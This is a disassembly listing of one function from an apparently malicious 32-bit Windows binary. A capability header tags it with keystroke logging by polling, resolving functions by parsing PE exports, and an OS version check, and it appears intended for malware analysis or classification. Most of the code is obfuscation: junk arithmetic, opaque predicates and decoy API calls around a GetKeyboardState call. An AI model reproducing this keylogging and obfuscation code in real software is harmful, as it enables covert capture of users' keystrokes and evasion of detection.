Function at 0x10021314
Capabilities:
Check os version
Log keystrokes via polling
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10069f0c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1e8
push ebx
mov dword [esp + 0x44], ecx
xor ebx, ebx
mov dword [esp + 0x10], 0x8a06
push esi
mov dword [esp + 0x20], 0xa7bc9995
push edi
mov dword [esp + 0x2c], 0x8aa2d34c
mov edi, edx
push 8
pop eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], 0x82e58099
mov dword [esp + 0x24], 0x15ee56e3
mov dword [esp + 0x2c], 0xbc23cea2
mov dword [esp + 0x28], 0x7f1bd53d
mov byte [esp + 0x17], bl
mov dword [esp + 0x30], edi
cmp byte [esp + 0x17], bl
je 0x1002139b
push ebx
push ebx
push 0x1f4b
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
cmp dword [esp + 0x18], ebx
mov eax, dword [esp + 0x18]
mov dword [esp + 0x24], eax
push 1
pop edx
mov ecx, edx
mov dword [esp + 0x2c], ecx
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x2c]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x2c], edx
xor edx, edx
mov ecx, dword [esp + 0x34]
mov eax, dword [esp + 0x2c]
cmp eax, ecx
setge dl
sub edx, dword [esp + 0x18]
sub edx, dword [esp + 0x18]
neg edx
sbb edx, edx
inc edx
mov dword [esp + 0x24], edx
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0x18]
je 0x100213f8
cmp dword [esp + 0x24], ebx
jne 0x100213f8
mov ecx, ebx
jmp 0x100213fb
xor ecx, ecx
inc ecx
mov eax, dword [esp + 0x18]
inc ecx
xor edx, edx
cmp ecx, eax
setg dl
xor eax, eax
cmp edx, 0x5498
setge al
xor edx, edx
mov dword [esp + 0x2c], eax
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x18]
cmp ecx, eax
mov eax, dword [esp + 0x34]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
add ecx, 0x6ce
mov dword [esp + 0x28], ecx
mov dword [esp + 0x1c], 0xd7b1c2a2
mov dword [esp + 0x38], 0x76b5a7dd
mov dword [esp + 0x38], ebx
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
cmp eax, dword [esp + 0x1c]
jge 0x10021460
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
xor edx, edx
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
cmp edx, eax
setne cl
imul ecx, dword [esp + 0x1c]
imul ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
sub ecx, 0x795ed7c6
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, dword [esp + 0x28]
setl cl
cmp ecx, 0xffffffff
jg 0x100214ad
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x28], 0x9c6fec1b
mov dword [esp + 0x1c], 0xffffffe6
jmp 0x1002156e
push 3
lea ecx, [esp + 0xc8]
call fcn.10011c5f
mov dword [esp + 0x10], 0xd8fb8cef
mov dword [esp + 0x10], ebx
jmp 0x100214f4
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc4]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x100214de
mov dword [esp + 0x10], 2
cmp dword [esp + 0x10], ebx
jl 0x10021525
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], bl
je 0x1002151f
push ebx
push 0x1339
call dword [sym.imp.USER32.dll_SetWindowTextA]
dec dword [esp + 0x10]
jns 0x10021509
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], bl
je 0x1002153f
push 0x10f2
push 0xc03
call dword [sym.imp.GDI32.dll_RestoreDC]
cmp dword [esp + 0xc4], ebx
je 0x1002156a
push dword [esp + 0xc4]
call fcn.100510a7
pop ecx
mov dword [esp + 0xc4], ebx
mov dword [esp + 0xc8], ebx
mov dword [esp + 0xcc], ebx
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 0xe
jge 0x100214c2
mov eax, dword [0x11e51fc0]
mov dword [esp + 0x28], 0xd8d92426
test al, 1
jne 0x10021627
xor ecx, ecx
inc ecx
or eax, ecx
mov dword [0x11e51fc0], eax
push ebx
mov dword [esp + 0x200], ecx
push ebx
mov dword [0x11e51f80], ebx
mov dword [0x11e51f84], ebx
call fcn.10015e42
mov dword [0x11e51f80], eax
mov dword [0x11e51f88], ebx
mov dword [0x11e51f90], ebx
mov byte [esp + 0x1fc], 3
mov ecx, 0x11e51f88
mov dword [esp + 0xf8], eax
lea eax, [esp + 0xf8]
push eax
push 0x10
push ebx
lea eax, [esp + 0x138]
mov dword [0x11e51f9c], 0x3f800000
push eax
mov dword [0x11e51f8c], ebx
call fcn.10015c1a
push 8
pop esi
push 0x1006a9f1
mov dword [0x11e51f94], 7
mov dword [0x11e51f98], esi
call fcn.10050f15
or dword [esp + 0x200], 0xffffffff
pop ecx
jmp 0x1002162a
push 8
pop esi
imul eax, dword [esp + 0x4c], 0x2710
add eax, edi
mov dword [esp + 0x88], eax
lea eax, [esp + 0x88]
push eax
call fcn.10022a39
mov eax, dword [eax]
test eax, eax
je 0x1002165a
mov dword [esp + 0xac], eax
jmp 0x10022721
mov dword [esp + 0x10], esi
push 4
mov dword [esp + 0x14], ebx
pop esi
jmp 0x1002167a
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x14c], 0x5711
inc dword [esp + 0x10]
cmp dword [esp + 0x10], esi
jl 0x10021667
mov dword [esp + 0x10], ebx
jmp 0x10021703
push esi
lea ecx, [esp + 0xa4]
call fcn.10011c5f
mov dword [esp + 0x18], ebx
jmp 0x100216af
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0xa0]
mov dword [eax + ecx*4], 0xcce1e2c0
inc dword [esp + 0x18]
cmp dword [esp + 0x18], esi
jl 0x10021699
mov edx, dword [esp + 0xa0]
mov dword [edx + 4], 3
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + eax*4 + 0x14c]
mov eax, dword [edx + 4]
dec dword [edx + 4]
mov dword [esp + eax*4 + 0x14c], ecx
jns 0x100216c3
push dword [esp + 0xa0]
call fcn.100510a7
mov dword [esp + 0xa4], ebx
mov dword [esp + 0xa8], ebx
mov dword [esp + 0xac], ebx
inc dword [esp + 0x14]
pop ecx
cmp dword [esp + 0x10], 3
jle 0x10021686
mov eax, dword [0x11e51fc0]
test al, 2
jne 0x100217b0
or eax, 2
mov dword [0x11e51fc0], eax
push ebx
mov dword [esp + 0x200], esi
push ebx
mov dword [0x11e51fa0], ebx
mov dword [0x11e51fa4], ebx
call fcn.10015e42
mov dword [0x11e51fa0], eax
mov dword [0x11e51fa8], ebx
mov dword [0x11e51fb0], ebx
mov byte [esp + 0x1fc], 6
mov ecx, 0x11e51fa8
mov dword [esp + 0xe0], eax
lea eax, [esp + 0xe0]
push eax
push 0x10
push ebx
lea eax, [esp + 0x13c]
mov dword [0x11e51fbc], 0x3f800000
push eax
mov dword [0x11e51fac], ebx
call fcn.10015c1a
push 8
pop ecx
push 0x1006a9ec
mov dword [0x11e51fb4], 7
mov dword [0x11e51fb8], ecx
call fcn.10050f15
or dword [esp + 0x200], 0xffffffff
pop ecx
lea eax, [esp + 0x4c]
xorps xmm0, xmm0
push eax
movdqu xmmword [esp + 0x104], xmm0
call fcn.10022a9b
push 1
lea ecx, [esp + 0x98]
mov esi, dword [eax]
mov dword [esp + 0x30], esi
call fcn.10011c5f
mov dword [esp + 0x1c], ebx
jmp 0x100217f3
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x188], 0xcff0ea75
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x100217e0
xor edx, edx
mov dword [esp + 0x1c], ebx
inc edx
jmp 0x10021819
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x94]
mov dword [eax + ecx*4], 0xe87df2f4
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], edx
jl 0x10021803
mov eax, dword [esp + 0x94]
mov dword [eax], ebx
mov dword [esp + 0x10], edx
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], ebx
jl 0x10021844
mov dword [esp + 0x24], ebx
dec dword [esp + 0x24]
dec dword [esp + 0x10]
jns 0x10021836
mov eax, dword [esp + 0x94]
inc dword [eax]
cmp dword [eax], edx
jle 0x10021828
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10021863
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push dword [esp + 0x94]
call fcn.100510a7
mov al, byte [ebp + 0xc]
mov dword [esp + 0x98], ebx
mov dword [esp + 0x9c], ebx
mov dword [esp + 0xa0], ebx
pop ecx
test al, al
jne 0x10021894
test esi, esi
jne 0x10021cd5
lea ecx, [esp + 0x1e0]
mov dl, al
push ecx
mov ecx, dword [esp + 0x50]
call fcn.10017a40
cmp byte [ebp + 0xc], 0
lea edi, [esp + 0x104]
mov esi, eax
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
je 0x10021ccd
cmp dword [esp + 0x108], 0
je 0x10021ccd
mov eax, dword [esp + 0x10c]
mov dword [esp + 0x18], 0xe8cff0ea
mov dword [esp + 0x10], 0xfffffffa
mov dword [esp + 0x20], 0x8f5537c5
mov dword [esp + 0xb0], eax
mov dword [esp + 0x10], ebx
jmp 0x1002190c
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x1c4], 0xee2f
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x100218f9
mov dword [esp + 0x18], 0xfffffff7
jmp 0x10021ca0
mov dword [esp + 0x28], 0x4408
mov dword [esp + 0x20], 7
mov dword [esp + 0x10], 0x108f8256
mov dword [esp + 0x10], 2
cmp dword [esp + 0x10], ebx
jl 0x10021c9c
mov dword [esp + 0x24], 3
mov dword [esp + 0x34], 0x26ec
cmp dword [esp + 0x34], 0x1277
jge 0x10021bb7
lea eax, [esp + 0x44]
push eax
push 0x1000b1cc
call fcn.10050d0b
mov eax, dword [esp + 0x4c]
or dword [esp + 0xf0], 0xffffffff
inc eax
pop ecx
pop ecx
lea ecx, [esp + 0xe8]
mov dword [esp + 0x58], ebx
push ecx
push eax
lea ecx, [esp + 0x60]
mov dword [esp + 0x64], ebx
mov dword [esp + 0x68], ebx
call fcn.100126a9
mov dword [esp + 0x1fc], 7
mov edi, ebx
cmp dword [esp + 0x44], 0
jle 0x100219d3
mov esi, dword [esp + 0x58]
push esi
push 0x1000b1cc
call fcn.10050d0b
inc edi
add esi, 4
pop ecx
pop ecx
cmp edi, dword [esp + 0x44]
jl 0x100219bc
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call fcn.10023619
mov dword [esp + 0x3c], eax
push 8
pop eax
mov byte [esp + 0x1fc], al
mov edi, dword [esp + 0x44]
mov dword [esp + 0x20], ebx
lea eax, [edi - 1]
mov dword [esp + 0x34], eax
test edi, edi
js 0x10021a44
mov esi, dword [esp + 0x58]
push esi
lea ecx, [esp + 0x40]
mov dword [esp + 0x20], ebx
call fcn.100228b9
test eax, eax
jne 0x10021a42
movzx eax, byte [0x11e51e88]
push eax
push esi
push ecx
lea eax, [esp + 0x174]
push eax
lea ecx, [esp + 0x4c]
call fcn.1002395e
mov edi, dword [esp + 0x44]
inc ebx
add esi, 4
cmp ebx, edi
jle 0x10021a09
xor ebx, ebx
mov eax, dword [esp + 0x1c]
lea esi, [edi - 1]
cmp esi, eax
jl 0x10021a99
mov eax, dword [esp + 0x58]
mov ebx, dword [esp + 0x1c]
lea edi, [eax + esi*4]
push edi
lea ecx, [esp + 0x40]
mov dword [esp + 0x38], esi
call fcn.100228b9
test eax, eax
jne 0x10021a8f
movzx eax, byte [0x11e51e88]
push eax
push edi
push ecx
lea eax, [esp + 0x18c]
push eax
lea ecx, [esp + 0x4c]
call fcn.1002395e
dec esi
sub edi, 4
cmp esi, ebx
jge 0x10021a5a
mov edi, dword [esp + 0x44]
xor ebx, ebx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x34]
lea esi, [edi - 1]
sub ecx, eax
mov dword [esp + 0x1c], ebx
mov eax, dword [esp + 0x3c]
inc ecx
mov dword [esp + 0x34], ecx
lea ecx, [esp + 0x3c]
push dword [eax + 4]
call fcn.10022c4b
mov eax, dword [esp + 0x3c]
mov dword [eax + 4], eax
mov eax, dword [esp + 0x3c]
mov dword [eax], eax
mov eax, dword [esp + 0x3c]
mov dword [eax + 8], eax
mov edi, dword [esp + 0x44]
dec edi
mov dword [esp + 0x40], ebx
js 0x10021b14
mov eax, dword [esp + 0x58]
lea ebx, [eax + edi*4]
push ebx
lea ecx, [esp + 0x40]
mov esi, edi
call fcn.100228b9
test eax, eax
jne 0x10021b12
movzx eax, byte [0x11e51e88]
push eax
push ebx
push ecx
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x4c]
call fcn.1002395e
sub ebx, 4
dec edi
jns 0x10021ae1
xor ebx, ebx
mov dword [esp + 0x20], ebx
test esi, esi
js 0x10021b57
mov edi, dword [esp + 0x58]
push edi
lea ecx, [esp + 0x40]
mov dword [esp + 0x20], ebx
call fcn.100228b9
test eax, eax
jne 0x10021b55
movzx eax, byte [0x11e51e88]
push eax
push edi
push ecx
lea eax, [esp + 0x17c]
push eax
lea ecx, [esp + 0x4c]
call fcn.1002395e
inc ebx
add edi, 4
cmp ebx, esi
jle 0x10021b20
xor ebx, ebx
sub esi, dword [esp + 0x1c]
inc esi
cmp dword [esp + 0x34], esi
cmovl esi, dword [esp + 0x34]
push esi
push 0x1000b210
call fcn.10050f3f
mov eax, dword [esp + 0x44]
pop ecx
pop ecx
push eax
push dword [eax]
lea eax, [esp + 0x13c]
push eax
lea ecx, [esp + 0x48]
call fcn.100230e7
push dword [esp + 0x3c]
call fcn.100510a7
or dword [esp + 0x200], 0xffffffff
mov eax, dword [esp + 0x5c]
pop ecx
test eax, eax
je 0x10021bb7
push eax
call fcn.100510a7
pop ecx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x60], ebx
mov dword [esp + 0x20], ebx
lea ecx, [esp + 0xb8]
mov dword [esp + 0x34], ebx
push 4
call fcn.10011c5f
mov dword [esp + 0x1c], ebx
jmp 0x10021be9
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0xb8]
mov dword [eax + ecx*4], 0x1e2db80e
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 4
jl 0x10021bd3
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
cmp ecx, eax
mov eax, dword [esp + 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x28]
setle cl
mov dword [esp + 0x20], ecx
xor ecx, ecx
cmp eax, 0xfffffffc
setge cl
xor edx, edx
sub ecx, dword [esp + 0x20]
mov dword [esp + 0x34], ecx
mov ecx, dword [esp + 0x34]
add ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x24]
cmp ecx, eax
mov eax, dword [esp + 0xb8]
setg dl
xor ecx, ecx
cmp edx, dword [eax]
mov eax, dword [esp + 0x24]
push dword [esp + 0xb8]
setg cl
mov dword [esp + 0x24], ecx
xor ecx, ecx
cmp dword [esp + 0x24], eax
setge cl
mov dword [esp + 0x24], ecx
mov dword [esp + 0x24], 0xe24b2e80
mov dword [esp + 0x38], 0x374fd522
call fcn.100510a7
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc0], ebx
mov dword [esp + 0xc4], ebx
dec dword [esp + 0x14]
pop ecx
jns 0x1002194a
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 0xa
jge 0x10021920
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10021cbf
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [esp + 0x108]
mov dword [esp + 0xb4], eax
mov esi, dword [esp + 0x2c]
mov edi, dword [esp + 0x30]
push 4
lea ecx, [esp + 0xd4]
call fcn.10011c5f
push 0xfffffffffffffff8
pop eax
mov dword [esp + 0x10], eax
push 8
pop eax
mov dword [esp + 0x30], eax
mov eax, 0x4a90611b
mov dword [esp + 0x28], 0xfffffffd
mov dword [esp + 0x11c], eax
mov dword [esp + 0x120], eax
mov dword [esp + 0x124], eax
mov dword [esp + 0x128], eax
mov dword [esp + 0x10], ebx
jmp 0x10021d36
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xd0]
mov dword [eax + ecx*4], 0xbbca
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 4
jl 0x10021d20
mov dword [esp + 0x10], 3
cmp dword [esp + 0x10], ebx
jl 0x10021d63
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10021d5d
push ebx
call dword [sym.imp.USER32.dll_SetCursor]
dec dword [esp + 0x10]
jns 0x10021d4b
mov dword [esp + 0x28], 0x2f80c341
xor ecx, ecx
mov eax, dword [esp + 0x28]
cmp eax, 0xfffffffd
setne cl
imul ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x10]
sub edx, eax
mov eax, dword [esp + 0x30]
cmp eax, 0xfffc
setge cl
imul edx, ecx
cmp dword [esp + 0xd0], 0
mov dword [esp + 0x128], edx
je 0x10021dce
push dword [esp + 0xd0]
call fcn.100510a7
pop ecx
mov dword [esp + 0xd0], ebx
mov dword [esp + 0xd4], ebx
mov dword [esp + 0xd8], ebx
test esi, esi
jne 0x100221d2
cmp dword [esp + 0x100], esi
jle 0x100221d2
mov dword [esp + 0x10], 6
mov dword [esp + 0x10], ebx
jmp 0x10021e13
cmp byte [esp + 0x17], 0
je 0x10021e0f
push ebx
push ebx
push 0x223
push 0x240e
push 0xddf
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0xe
mov byte [esp + 0x17], bl
je 0x10021df1
cmp byte [esp + 0x17], 0
je 0x10021e2d
push 0x7e
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor ecx, ecx
mov dword [esp + 0x10], 0xe0648261
mov dword [esp + 0x10], ebx
inc ecx
cmp dword [esp + 0x10], 0xffffffef
jge 0x10021e8d
mov dword [esp + 0x18], 0x37d45db3
mov dword [esp + 0x18], ebx
jmp 0x10021e64
mov eax, dword [esp + 0x18]
mov dword [esp + eax*4 + 0xfc], 7
inc dword [esp + 0x18]
cmp dword [esp + 0x18], ecx
jl 0x10021e51
mov dword [esp + 0x18], ebx
jmp 0x10021e81
mov eax, dword [esp + 0x18]
cmp dword [esp + eax*4 + 0xfc], ebx
jne 0x10021e87
inc dword [esp + 0x18]
cmp dword [esp + 0x18], ebx
jle 0x10021e70
dec dword [esp + 0x10]
jmp 0x10021e3c
mov eax, dword [esp + 0x10]
push 0xfffffffffffffff8
pop edx
cmp edx, eax
sbb eax, eax
inc eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x10], 0xffffffff
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x20], 0xe9069002
mov dword [esp + 0x1c], ebx
jmp 0x10021ecb
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x48], ecx
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], ecx
jl 0x10021ebf
mov dword [esp + 0x1c], ebx
jmp 0x10021eea
mov eax, dword [esp + 0x1c]
mov dword [esp + eax*4 + 0x144], 6
inc dword [esp + 0x1c]
cmp dword [esp + 0x1c], 2
jl 0x10021ed7
cmp dword [esp + 0x18], ebx
jne 0x10021f06
mov eax, ebx
cmp dword [esp + 0x10], ebx
je 0x10021f01
mov eax, ecx
dec eax
mov eax, ebx
je 0x10021f08
mov eax, ecx
mov dword [esp + 0x10], eax
xor edx, edx
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
cmp eax, ecx
setge dl
sub edx, 3
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [esp + 0x48], edx
mov eax, dword [esp + 0x18]
mov eax, dword [esp + 0x18]
cmp eax, 1
setge cl
cmp ecx, 1
jg 0x10021f47
cmp dword [esp + 0x48], ebx
je 0x10021f47
xor edx, edx
inc edx
jmp 0x10021f49
mov edx, ebx
mov eax, dword [esp + 0x18]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xffffffff
setne al
mov dword [esp + 0x24], eax
mov dword [esp + 0x18], 0xb
jmp 0x1002205a
xor ecx, ecx
mov dword [esp + 0x1c], 0x976d9935
inc ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x10], ebx
jmp 0x10021f95
mov eax, dword [esp + 0x10]
mov dword [esp + eax*4 + 0x8c], 0xf236bbbd
inc dword [esp + 0x10]
cmp dword [esp + 0x10], ecx
jl 0x10021f82
mov dword [esp + 0x10], ebx
cmp dword [esp + 0x10], ebx
jl 0x10021fb5
mov eax, dword [esp + 0x10]
cmp dword [esp + eax*4 + 0x48], ebx
jne 0x10021fb5
dec dword [esp + 0x10]
jns 0x10021fa5
cmp dword [esp + 0x1c], ebx
jne 0x10021fbf
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x48]
mov eax, dword [esp + 0x20]
cmp dword [esp + 0x1c], ebx
jne 0x10021fe1
mov edx, ebx
cmp dword [esp + 0x48], ebx
je 0x10021fe3
mov edx, ecx
mov eax, dword [esp + 0x30]
xor ecx, ecx
cmp edx, eax
mov eax, dword [esp + 0x24]
setle cl
xor edx, edx
cmp ecx, eax
sete dl
xor ecx, ecx
mov dword [esp + 0x8c], edx
mov eax, dword [esp + 0x24]
cmp edx, eax
setl cl
sub ecx, dword [esp + 0x48]
je 0x1002201f
cmp dword [esp + 0x8c], ebx
je 0x1002201f
xor ecx, ecx
inc ecx
jmp 0x10022021
mov ecx, ebx
xor eax, eax
cmp ecx, 0xe6f9
setl al
xor ecx, ecx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
cmp eax, 1
mov eax, dword [esp + 0x148]
setle cl
sub ecx, eax
mov eax, dword [esp + 0x1c]
imul eax, ecx
neg eax
sbb eax, eax
neg eax
mov dword [esp + 0x10], eax
inc dword [esp + 0x18]
cmp dword [esp + 0x18], 0x15
je 0x10021f6d
mov ecx, dword [esp + 0x104]
test ecx, ecx
je 0x100221d2
call fcn.1002117d
mov dword [esp + 0x2c], 0xf89b546
lea ecx, [esp + 0x7c]
mov dword [esp + 0x24], 0xffffffff
mov esi, eax
mov dword [esp + 0x38], 5
mov dword [esp + 0x38], ebx
mov dword [esp + 0x38], 0xffffffff
mov dword [esp + 0x38], 4
mov dword [esp + 0x20], 0xacde9e84
mov dword [esp + 0x38], 0x19e95d1c
mov dword [esp + 0x28], ebx
mov dword [esp + 0x38], 0xffffffff
mov dword [esp + 0x38], 0x7008b15e
push 3
call fcn.10011c5f
mov dword [esp + 0x30], ebx
mov dword [esp + 0x20], 0x3f1540ee
mov dword [esp + 0x10], ebx
jmp 0x100220fb
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x7c]
mov dword [eax + ecx*4], 0x964a90c6
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 3
jl 0x100220e8
mov byte [esp + 0x17], bl
cmp byte [esp + 0x17], 0
je 0x10022124
push ebx
push ebx
push 0x21f4
push 0x1692
push 0xd99
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov eax, dword [esp + 0x30]
inc dword [esp + 0x30]
cmp eax, 5
jg 0x10022161
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x20]
push 0xfffffffffffffff8
pop edx
mov ecx, dword [ecx + 8]
sub ecx, eax
xor eax, eax
cmp ecx, edx
setne al
xor ecx, ecx
cmp eax, 0x95a2
setne cl
sub ecx, dword [esp + 0x28]
mov dword [esp + 0x28], ecx
je 0x10022161
xor edx, edx
inc edx
jmp 0x10022163
mov edx, ebx
mov eax, dword [esp + 0x24]
xor ecx, ecx
cmp eax, edx
mov eax, dword [esp + 0x24]
setle cl
sub eax, ecx
je 0x10022184
mov eax, dword [esp + 0x7c]
cmp dword [eax + 8], ebx
je 0x10022184
xor eax, eax
inc eax
jmp 0x10022186
mov eax, ebx
imul ecx, eax, 0x334a
mov eax, dword [esp + 0x2c]
dec dword [esp + 0x2c]
cmp eax, ecx
jl 0x1002219d
xor eax, eax
inc eax
jmp 0x1002219f
mov eax, ebx
cmp dword [esp + 0x7c], 0
mov dword [esp + 0x20], eax
je 0x100221c6
push dword [esp + 0x7c]
call fcn.100510a7
pop ecx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
lea eax, [esp + 0x4c]
push eax
call fcn.10022a9b
mov dword [eax], esi
lea ecx, [esp + 0x100]
call fcn.1001ddfb
test esi, esi
je 0x100226af
mov dword [esp + 0x10], 0x1eefb6f6
mov dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x18], 0xf196e6c8
cmp dword [esp + 0x10], ebx
je 0x10022234
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x24]
push 8
pop ecx
cmp ecx, eax
sbb eax, eax
neg eax
add eax, dword [esp + 0x10]
je 0x10022234
xor ecx, ecx
inc ecx
jmp 0x10022236
mov ecx, ebx
xor eax, eax
cmp ecx, 0x1b4956e7
mov ecx, 0xfffb
setl al
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
mov eax, dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp ecx, eax
mov eax, dword [esp + 0x10]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
push 8
setle cl
pop eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x18], eax
jmp 0x1002228f
mov dword [esp + 0x20], 0x32d683a7
mov dword [esp + 0x20], 0xc3b7c39c
mov eax, dword [esp + 0x24]
mov dword [esp + 0x24], eax
dec dword [esp + 0x18]
cmp dword [esp + 0x18], 3
jle 0x10022273
mov edx, edi
mov ecx, esi
call fcn.100211a4
mov dword [esp + 0xf0], 0x8e00f680
mov dword [esp + 0x2c], 0x221e9c96
mov dword [esp + 0xec], 0xfffffff9
mov dword [esp + 0xac], eax
xor eax, eax
mov dword [esp + 0x38], 0xfffffffc
inc eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x38], 0x57e71f09
mov dword [esp + 0x38], eax
mov dword [esp + 0x20], 0x22bb
cmp dword [esp + 0x20], 0x434
jge 0x100223d3
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0x194]
push eax
push 0x1000b3f0
call fcn.10050d0b
add esp, 0xc
lea eax, [esp + 0x190]
push eax
call fcn.10050c80
mov edi, eax
xor eax, eax
inc eax
pop ecx
cmp edi, eax
jne 0x10022337
cmp byte [esp + 0x190], 0x2e
je 0x100223d3
mov esi, ebx
test edi, edi
jle 0x100222f5
mov dword [esp + 0x20], esi
cmp esi, edi
jge 0x10022363
mov ebx, esi
movsx eax, byte [esp + ebx + 0x190]
push eax
push 0x1000b3f8
call fcn.10050f3f
inc ebx
pop ecx
pop ecx
cmp ebx, edi
jl 0x10022347
xor ebx, ebx
mov eax, dword [esp + 0x90]
dec eax
mov dword [esp + 0x20], ebx
test eax, eax
jle 0x10022396
lea eax, [esp + 0x190]
push eax
push 0x1000b35c
call fcn.10050f3f
mov eax, dword [esp + 0x98]
inc ebx
dec eax
pop ecx
pop ecx
cmp ebx, eax
jl 0x10022373
xor ebx, ebx
mov dword [esp + 0x20], ebx
test esi, esi
jle 0x100223ba
movsx eax, byte [esp + ebx + 0x190]
push eax
push 0x1000b3f8
call fcn.10050f3f
inc ebx
pop ecx
pop ecx
cmp ebx, esi
jl 0x1002239e
xor ebx, ebx
push 0x1000b350
call fcn.10050f3f
inc esi
pop ecx
cmp esi, edi
jl 0x1002233d
jmp 0x100222f5
mov dword [esp + 0x10], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0xf4], 0xfffffffa
mov dword [esp + 0x38], 0x1bf07968
mov dword [esp + 0x24], 0x495231fb
mov dword [esp + 0x20], 0x3f9beab1
mov dword [esp + 0x34], 0x7fc0549e
mov dword [esp + 0x20], 0x195b
cmp dword [esp + 0x20], 0x11ed
jge 0x100225aa
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x58]
push eax
push 0x1000b218
call fcn.10050d0b
add esp, 0xc
mov dword [esp + 0xe4], ebx
lea eax, [esp + 0xe4]
mov dword [esp + 0x64], ebx
lea ecx, [esp + 0x64]
mov dword [esp + 0x68], ebx
mov dword [esp + 0x6c], ebx
push eax
push dword [esp + 0x58]
call fcn.100126a9
mov dword [esp + 0x1fc], 9
mov edi, ebx
cmp dword [esp + 0x54], 0
jle 0x1002248a
mov esi, dword [esp + 0x64]
push esi
push 0x1000b1cc
call fcn.10050d0b
inc edi
add esi, 4
pop ecx
pop ecx
cmp edi, dword [esp + 0x54]
jl 0x10022473
